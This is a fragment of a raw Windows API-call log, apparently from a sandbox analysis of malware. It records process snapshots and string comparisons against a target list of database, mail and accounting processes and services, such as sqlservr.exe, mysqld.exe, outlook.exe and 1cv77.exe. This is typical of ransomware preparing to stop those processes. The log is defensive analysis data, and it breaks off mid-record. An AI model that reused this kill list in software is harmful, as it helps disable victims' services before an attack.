lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0081.538] lstrlenW (lpString="WPDBusEnum") returned 10 [0081.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0081.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0081.538] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0081.538] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0081.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0081.538] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x625020 | out: hHeap=0x5d0000) returned 1 [0081.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0081.561] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.562] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.564] lstrlenW (lpString="System") returned 6 [0081.564] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0081.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0081.564] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.565] lstrlenW (lpString="smss.exe") returned 8 [0081.565] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0081.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0081.565] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0081.566] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0081.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0081.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0081.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0081.566] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.567] lstrlenW (lpString="csrss.exe") returned 9 [0081.567] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0081.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0081.568] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0081.568] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0081.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0081.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0081.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0081.568] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.885] lstrlenW (lpString="wininit.exe") returned 11 [0081.885] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0081.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0081.885] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0081.886] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0081.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0081.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0081.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0081.886] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.887] lstrlenW (lpString="csrss.exe") returned 9 [0081.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0081.887] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.888] lstrlenW (lpString="winlogon.exe") returned 12 [0081.889] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.890] lstrlenW (lpString="services.exe") returned 12 [0081.890] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.891] lstrlenW (lpString="lsass.exe") returned 9 [0081.891] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.892] lstrlenW (lpString="lsm.exe") returned 7 [0081.892] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.893] lstrlenW (lpString="svchost.exe") returned 11 [0081.893] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.894] lstrlenW (lpString="svchost.exe") returned 11 [0081.895] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.896] lstrlenW (lpString="svchost.exe") returned 11 [0081.896] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.897] lstrlenW (lpString="svchost.exe") returned 11 [0081.897] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.898] lstrlenW (lpString="svchost.exe") returned 11 [0081.898] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.899] lstrlenW (lpString="audiodg.exe") returned 11 [0081.899] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.901] lstrlenW (lpString="svchost.exe") returned 11 [0081.901] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.902] lstrlenW (lpString="svchost.exe") returned 11 [0081.902] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.903] lstrlenW (lpString="dwm.exe") returned 7 [0081.903] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.904] lstrlenW (lpString="explorer.exe") returned 12 [0081.904] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.905] lstrlenW (lpString="spoolsv.exe") returned 11 [0081.905] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.906] lstrlenW (lpString="svchost.exe") returned 11 [0081.906] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.907] lstrlenW (lpString="taskhost.exe") returned 12 [0081.907] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0081.908] lstrlenW (lpString="taskeng.exe") returned 11 [0081.908] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0081.910] lstrlenW (lpString="developingthousands.exe") returned 23 [0081.910] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0081.911] lstrlenW (lpString="efattack.exe") returned 12 [0081.911] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0081.912] lstrlenW (lpString="feedback.exe") returned 12 [0081.912] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0081.913] lstrlenW (lpString="happy blond engage.exe") returned 22 [0081.913] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0081.914] lstrlenW (lpString="controller_type.exe") returned 19 [0081.915] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0081.916] lstrlenW (lpString="donations_berry.exe") returned 19 [0081.916] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0081.918] lstrlenW (lpString="lindsay.exe") returned 11 [0081.918] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0081.919] lstrlenW (lpString="columnists.exe") returned 14 [0081.919] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0081.920] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0081.920] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0081.921] lstrlenW (lpString="chose.exe") returned 9 [0081.922] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0081.923] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0081.923] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0081.924] lstrlenW (lpString="methods.exe") returned 11 [0081.924] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0082.025] lstrlenW (lpString="circulation.exe") returned 15 [0082.025] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0082.026] lstrlenW (lpString="suited.exe") returned 10 [0082.026] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0082.027] lstrlenW (lpString="infrastructure.exe") returned 18 [0082.027] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0082.028] lstrlenW (lpString="manager_olympic.exe") returned 19 [0082.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0082.029] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0082.030] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0082.031] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0082.031] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0082.032] lstrlenW (lpString="3dftp.exe") returned 9 [0082.032] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0082.033] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0082.033] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0082.034] lstrlenW (lpString="alftp.exe") returned 9 [0082.034] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0082.035] lstrlenW (lpString="barca.exe") returned 9 [0082.035] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0082.036] lstrlenW (lpString="bitkinex.exe") returned 12 [0082.036] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0082.037] lstrlenW (lpString="coreftp.exe") returned 11 [0082.038] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0082.039] lstrlenW (lpString="far.exe") returned 7 [0082.039] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0082.040] lstrlenW (lpString="filezilla.exe") returned 13 [0082.040] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0082.041] lstrlenW (lpString="flashfxp.exe") returned 12 [0082.041] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0082.042] lstrlenW (lpString="fling.exe") returned 9 [0082.042] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0082.043] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0082.043] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0082.044] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0082.045] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0082.046] lstrlenW (lpString="icq.exe") returned 7 [0082.046] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0082.047] lstrlenW (lpString="leechftp.exe") returned 12 [0082.047] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0082.048] lstrlenW (lpString="ncftp.exe") returned 9 [0082.048] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0082.049] lstrlenW (lpString="notepad.exe") returned 11 [0082.049] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0082.051] lstrlenW (lpString="operamail.exe") returned 13 [0082.051] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0082.052] lstrlenW (lpString="pidgin.exe") returned 10 [0082.052] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0082.054] lstrlenW (lpString="scriptftp.exe") returned 13 [0082.054] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0082.056] lstrlenW (lpString="skype.exe") returned 9 [0082.056] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0082.057] lstrlenW (lpString="smartftp.exe") returned 12 [0082.057] Process32NextW (in: hSnapshot=0x1d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 